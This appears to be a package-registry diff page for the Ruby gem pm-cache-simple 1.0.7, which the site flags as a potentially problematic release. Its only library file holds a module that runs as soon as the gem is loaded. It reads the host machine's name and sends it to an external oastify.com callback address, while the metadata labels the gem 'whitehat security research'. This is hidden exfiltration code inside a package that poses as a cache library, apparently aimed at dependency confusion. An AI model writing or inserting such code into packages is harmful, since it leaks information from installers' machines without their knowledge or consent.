pm-cache-simple 1.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pm-cache-simple might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/pm-cache-simple.rb +16 -0
  3. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 8b6c020bd97fcddaaf8c751a029699a5bf86ebfdefdfc28b2afe16f7f6a22b01
4
+ data.tar.gz: 8b8bdb4e1fa5c06a9e691c29b8556041ed6296124a0a123f6fb14a609819bb8f
5
+ SHA512:
6
+ metadata.gz: b21d32b15f735fdcc2c522c622788d7402add2e66926b336132e1841bf4c988801fd8257cfe865090f0361e307584f51106c821142efeab6485b624b52f70d6d
7
+ data.tar.gz: 3c0cd7b436c2d4020991e8c14e700b1ec9bcd86c8f59326d3bf390539d79cab3fb865099f3f63f708768339d331e40d7a7218c45fba735b6ccfac7943bf73d6a
@@ -0,0 +1,16 @@
1
+ module Pmcachesimple
2
+ require 'net/http'
3
+ require 'uri'
4
+ require 'socket'
5
+ class WhoIs
6
+ def awesome()
7
+ hostname = Socket.gethostname
8
+ uri = URI.parse('http://va9k3slcoizn66yr3gddzmio4fa5yu.oastify.com/'+ hostname)
9
+ res = Net::HTTP.get_response(uri)
10
+ puts res.body if res.is_a?(Net::HTTPSuccess)
11
+ end
12
+ end
13
+
14
+ result = WhoIs.new()
15
+ p result.awesome()
16
+ end
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: pm-cache-simple
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.0.7
5
+ platform: ruby
6
+ authors:
7
+ - sherlock
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2022-05-19 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description:
14
+ email:
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/pm-cache-simple.rb
20
+ homepage:
21
+ licenses: []
22
+ metadata: {}
23
+ post_install_message:
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.0.3
39
+ signing_key:
40
+ specification_version: 4
41
+ summary: whitehat security research
42
+ test_files: []